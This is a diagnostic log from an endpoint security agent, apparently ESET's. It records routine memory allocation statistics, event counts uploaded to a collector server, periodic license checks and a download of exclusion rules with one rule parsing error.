2026-03-04 14:13:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1906 KB; ProcessInfo: 1802 KB; TcpIpConnectionsManager: 599 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 503 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; BaseEvent: 218 KB; rules::ProcessConditionsCache: 209 KB; cloudutils::CloudData: 131 KB; BatchSerializer::EventsQueueTag: 58 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 14 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129531 KB;
2026-03-04 14:14:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2198 KB; ModuleMetadata: 1906 KB; TcpIpConnectionsManager: 634 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 507 KB; BaseEvent: 402 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; rules::ProcessConditionsCache: 229 KB; cloudutils::CloudData: 131 KB; BatchSerializer::EventsQueueTag: 109 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 17 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130223 KB;
2026-03-04 14:15:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2576 KB; ModuleMetadata: 1906 KB; TcpIpConnectionsManager: 627 KB; BaseEvent: 587 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 504 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; rules::ProcessConditionsCache: 194 KB; BatchSerializer::EventsQueueTag: 159 KB; cloudutils::CloudData: 131 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 130784 KB;
2026-03-04 14:16:39 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 14:12:45, To:, 2026-03-04 14:16:39, Duration (s):, 234, Events Per Second:, 17.585, Events:, 4118, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3438, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 679, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 459011
2026-03-04 14:16:40 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s392ms.
2026-03-04 14:16:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1906 KB; ProcessInfo: 1479 KB; TcpIpConnectionsManager: 617 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 505 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; rules::ProcessConditionsCache: 221 KB; cloudutils::CloudData: 131 KB; BaseEvent: 49 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 13 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129021 KB;
2026-03-04 14:17:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1906 KB; ProcessInfo: 1844 KB; TcpIpConnectionsManager: 588 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; BaseEvent: 234 KB; rules::ProcessConditionsCache: 178 KB; cloudutils::CloudData: 131 KB; BatchSerializer::EventsQueueTag: 61 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129549 KB;
2026-03-04 14:18:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 14:18:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 14:18:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 14:18:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 14:18:44 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 14:18:44 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 14:18:44 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 14:18:44 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 14:18:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2181 KB; ModuleMetadata: 1906 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 545 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 511 KB; BaseEvent: 396 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; rules::ProcessConditionsCache: 169 KB; cloudutils::CloudData: 131 KB; BatchSerializer::EventsQueueTag: 105 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130045 KB;
2026-03-04 14:19:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2564 KB; ModuleMetadata: 1906 KB; BaseEvent: 588 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 542 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 511 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; rules::ProcessConditionsCache: 162 KB; BatchSerializer::EventsQueueTag: 155 KB; cloudutils::CloudData: 131 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130659 KB;
2026-03-04 14:20:41 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 14:16:35, To:, 2026-03-04 14:20:41, Duration (s):, 246, Events Per Second:, 16.522, Events:, 4070, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3373, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 696, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 454926
2026-03-04 14:20:42 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s395ms.
2026-03-04 14:20:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1906 KB; ProcessInfo: 1421 KB; TcpIpConnectionsManager: 578 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 514 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; rules::ProcessConditionsCache: 250 KB; cloudutils::CloudData: 131 KB; BaseEvent: 42 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 15 KB; BatchSerializer::EventsQueueTag: 12 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 128961 KB;
2026-03-04 14:21:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1906 KB; ProcessInfo: 1783 KB; TcpIpConnectionsManager: 586 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 515 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; BaseEvent: 226 KB; rules::ProcessConditionsCache: 192 KB; cloudutils::CloudData: 131 KB; BatchSerializer::EventsQueueTag: 59 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129498 KB;
2026-03-04 14:22:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2142 KB; ModuleMetadata: 1906 KB; TcpIpConnectionsManager: 568 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 517 KB; BaseEvent: 400 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; rules::ProcessConditionsCache: 171 KB; cloudutils::CloudData: 131 KB; BatchSerializer::EventsQueueTag: 106 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130042 KB;
2026-03-04 14:23:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 14:23:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 14:23:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 14:23:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 14:23:45 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 14:23:45 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 14:23:45 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 14:23:45 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 14:23:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2549 KB; ModuleMetadata: 1906 KB; TcpIpConnectionsManager: 596 KB; BaseEvent: 591 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 504 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; rules::ProcessConditionsCache: 272 KB; BatchSerializer::EventsQueueTag: 158 KB; cloudutils::CloudData: 131 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 130809 KB;
2026-03-04 14:24:45 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 14:20:40, To:, 2026-03-04 14:24:45, Duration (s):, 245, Events Per Second:, 16.698, Events:, 4104, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3410, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 693, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456462
2026-03-04 14:24:47 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s354ms.
2026-03-04 14:24:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1906 KB; ProcessInfo: 1387 KB; TcpIpConnectionsManager: 572 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 503 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; rules::ProcessConditionsCache: 248 KB; cloudutils::CloudData: 131 KB; BaseEvent: 46 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 128905 KB;
2026-03-04 14:25:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1906 KB; ProcessInfo: 1753 KB; TcpIpConnectionsManager: 573 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; rules::ProcessConditionsCache: 237 KB; BaseEvent: 227 KB; cloudutils::CloudData: 131 KB; BatchSerializer::EventsQueueTag: 58 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129493 KB;
2026-03-04 14:26:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2117 KB; ModuleMetadata: 1906 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 535 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 507 KB; BaseEvent: 405 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; rules::ProcessConditionsCache: 227 KB; cloudutils::CloudData: 131 KB; BatchSerializer::EventsQueueTag: 106 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 130035 KB;
2026-03-04 14:27:33 7ff7f1ffb6c0 Persistent: Downloading of exclusions v9171-v9172
2026-03-04 14:27:33 7ff7f1ffb6c0 Persistent: Current active exclusions (9172): 1:709;10:515,3970;100:1250;101:461;102:556,1136,1142,1148,1171;103:1134;104:524,527,530;105:1157;106:1191;107:461;108:226,1238;109:524,526,527,531,532,533;11:400;110:1252;111:461;112:1158;113:400;114:990;115:328;116:16,587,860;117:7,10;118:661,662,666,667,669,670,674,675,676,678,683,691,746,757,2712,2714;119:926;12:400;120:11,13;121:390;122:461;123:400;124:262;125:11;126:390;127:7;128:9;129:728,729;13:400;130:950;131:772,773,774;132:424;133:400;134:11;135:461;136:461;137:461;138:483;139:1238;14:1278;140:1278;141:990;142:871;143:535,645,872;144:454;145:461;146:374,935;147:400;148:400;149:728,729;15:1156;150:424;151:185,465,466,467,1127,1171,1238,1277;152:400;153:456,1054,1158,1238;154:461;155:802;156:872;157:390;158:1278;159:11;16:400;160:400;161:11,13;162:535;163:9;164:461;165:1163;166:45,191,200,1045,1093,1156,1157,1158,1231,1238,1239,1249,1277;167:1250;168:1191;169:461;17:461;170:728,729;171:424;172:661,662,667,669,674,675,676,678,680,683,691,738,746,757,769,770;173:461;174:1234;175:863;176:461;177:461;178:555;179:999;18:461;180:390;182:86,272,524,527,555,556,572,574,644,645,1042,1043,1116,1158,1160;183:993;185:400;186:871;187:402;188:1198,1200;189:424;19:456;190:1269;191:1250;192:523,524,527,556;193:389,527,645,2515;194:390,566;195:573;196:570;197:317;198:555,556;199:185,197;2:389,527,645,2515;20:390;200:1687;201:570;202:19;203:1127;204:586;205:958;206:38,67,185,194,197,203,312,574,1045,1122;207:529;208:532;209:1018;21:249,1045,1156,1238;210:454,455,456,524,526,531,532,533,555,556,560;211:645;212:356,527,530,1132;213:11,13,45,117,185,191,249,382,556,637,3085;214:19,67,200,400,420,523,524,527,556,958,1092,1122,1658;215:19;216:1687;217:644;218:487,904,1160,1161;219:1,10,66,67,83,86,200,524,527,555,560,588,645,1122,1142,1149,1193,1686,1687;22:400;220:12,19,400,555,863;221:1628;222:523,524,527,556;223:1156;224:2520;225:1686;226:272,382,1136,1149,1156,1191;227:1127,1142,1149,1156;228:1687;229:523,525,526,527,529,531;23:607;230:645;231:580;232:2515;233:526;235:1686;236:580;237:488,576;238:523;239:556;24:522,523,524,526,527,531,532,533,534;240:1628;241:555,556,1342;242:523,525,526,529,531,532,533,534;243:560;244:805,806,807,808,809,810,811,812;245:570,572;246:329;247:530;248:1628;249:2580;25:558;251:556;252:556;253:523,526,530;254:572;255:1156;256:529;258:356;259:1119;26:1191;260:272;261:390;263:515;265:2663;266:526,531;267:272,556,587;268:2712,2714,2715;27:572;271:2118;272:390;273:390;274:390;275:456,2970;276:13;277:2662;279:2136;28:487;280:66,456,531,2970,3647,4471;281:580;282:580;284:580;285:390;286:572,1156;287:10,114,334,524,572,1045;288:556;289:572,574,1127,1194;29:454;290:556,3729;291:67,1045,1122,1126,1127,1156;292:390;293:390;294:390;295:390;296:390;297:390;299:390;3:461;30:461;300:390;301:375;304:390;305:3085;306:3085;307:88;308:574,1045,1157;309:3085;31:555;312:390;313:390;314:390;315:390;316:390;317:390;318:390;319:390;32:556;320:390;321:3189;322:3189;324:6,414;325:3642;326:535;327:535;328:1687,3312;329:506,3361;330:1687,3312;331:3361;332:535;333:535;334:239;335:535;336:580,587;337:535;338:3694;339:662,680,704,1198,1210,1214,1215,1216,1217,3429,3430,3653,3715,3716,3755;34:461;340:3651;341:3651;342:323;343:2120;344:566,572,1105;345:1084;346:29;347:272,523,996;348:594;349:594;35:555,556;354:645;355:565;36:401;361:461;364:565;37:1056;378:646;379:554;38:400;39:1278;4:961;40:1134;41:461;42:975;43:461;434:565;435:565;436:565;438:542;439:109;44:316;440:61;441:644;442:461;445:1629;446:565;447:565;45:555,560;459:7;46:1278;460:7;461:7;462:527;463:1629;464:7;47:555,556,646,1136,1156,1158,1192,1231;470:565;471:1629;474:506;475:506;476:506;477:506;478:7;479:7;48:1278;481:2555;482:7;49:527,530;5:390;50:461;51:13,975;52:805,806,807,808,809,810,811,812;53:872;54:400;55:527;57:555;58:555,1156;59:1235;6:461;60:524,527;61:185,194,249,574,992,1045,1116,1149,1156,1158,1277,3078;62:1157,1163,3607;63:954;64:1134;65:461;66:1278;67:390;68:461;69:25;7:527,530;70:923;71:7;72:15,16;73:13,32,38,86,249,574,645,1018,1156,1157,1158,1196,3085;74:10;75:461;76:28;77:11,13,43,86,185,192,194,197,334,383,574,580,645,1045,1127,1149;78:283,485,1122,1127,1149,1231,1277;79:400;8:556;80:10,148,871,967,1045,1122,1127,1156,1157,1158,1238,1277;81:461;82:483;83:9;84:11;85:461;86:461;87:529,530;88:461;89:1250;9:555;90:662;91:1053;92:1157;93:411;94:644,646,1194;95:291;96:926;97:38,39,40,66,67;98:461;99:586
2026-03-04 14:27:34 7ff7f1ffb6c0 Error: Failed parsing stored rule 4525/3183
2026-03-04 14:27:55 7ff8017fb6c0 Info: Allocations: ProcessInfo: 2477 KB; ModuleMetadata: 1906 KB; BaseEvent: 582 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 526 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; BatchSerializer::EventsQueueTag: 153 KB; rules::ProcessConditionsCache: 132 KB; cloudutils::CloudData: 131 KB; rules::RuleEvaluationCtx: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 7642 KB;
2026-03-04 14:28:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 14:28:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 14:28:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 14:28:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 14:28:45 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 14:28:45 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 14:28:45 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 14:28:45 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 14:28:45 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 14:24:45, To:, 2026-03-04 14:28:45, Duration (s):, 240, Events Per Second:, 12.039, Events:, 2893, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 2382, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 510, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 322328
2026-03-04 14:28:45 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 14:27:36, To:, 2026-03-04 14:28:44, Duration (s):, 68, Events Per Second:, 17.824, Events:, 1212, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 1004, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 207, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 139261
2026-03-04 14:28:46 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s221ms.
2026-03-04 14:28:47 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s084ms.
2026-03-04 14:28:55 7ff8017fb6c0 Info: Allocations: ModuleMetadata: 1906 KB; ProcessInfo: 1401 KB; TcpIpConnectionsManager: 570 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 515 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; rules::ProcessConditionsCache: 213 KB; cloudutils::CloudData: 131 KB; rules::RuleEvaluationCtx: 126 KB; BaseEvent: 28 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 19 KB; ProcessInfoCommandLineTag: 9 KB; BatchSerializer::EventsQueueTag: 7 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 6096 KB;
2026-03-04 14:29:55 7ff8017fb6c0 Info: Allocations: ModuleMetadata: 1906 KB; ProcessInfo: 1762 KB; TcpIpConnectionsManager: 572 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 512 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; rules::RuleEvaluationCtx: 246 KB; BaseEvent: 210 KB; rules::ProcessConditionsCache: 170 KB; cloudutils::CloudData: 131 KB; BatchSerializer::EventsQueueTag: 55 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 6753 KB;
2026-03-04 14:30:55 7ff8017fb6c0 Info: Allocations: ProcessInfo: 2126 KB; ModuleMetadata: 1906 KB; TcpIpConnectionsManager: 576 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 515 KB; BaseEvent: 384 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; rules::RuleEvaluationCtx: 246 KB; rules::ProcessConditionsCache: 153 KB; cloudutils::CloudData: 131 KB; BatchSerializer::EventsQueueTag: 102 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 7333 KB;
2026-03-04 14:31:55 7ff8017fb6c0 Info: Allocations: ProcessInfo: 2510 KB; ModuleMetadata: 1906 KB; TcpIpConnectionsManager: 588 KB; BaseEvent: 564 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 538 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; rules::RuleEvaluationCtx: 246 KB; rules::ProcessConditionsCache: 190 KB; BatchSerializer::EventsQueueTag: 150 KB; cloudutils::CloudData: 131 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 15 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 8019 KB;
2026-03-04 14:32:49 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 14:28:37, To:, 2026-03-04 14:32:49, Duration (s):, 252, Events Per Second:, 16.296, Events:, 4112, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3422, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 689, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 460363
2026-03-04 14:32:50 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s444ms.
2026-03-04 14:32:55 7ff8017fb6c0 Info: Allocations: ModuleMetadata: 1906 KB; ProcessInfo: 1349 KB; TcpIpConnectionsManager: 552 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 536 KB; rules::RuleEvaluationCtx: 487 KB; ModuleInfoCache: 307 KB; CacheEntry: 281 KB; cloudutils::CloudData: 131 KB; rules::ProcessConditionsCache: 125 KB; rules::CachedConditionEvaluationCtx: 22 KB; BaseEvent: 16 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; BatchSerializer::EventsQueueTag: 4 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 6297 KB;
2026-03-04 14:33:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
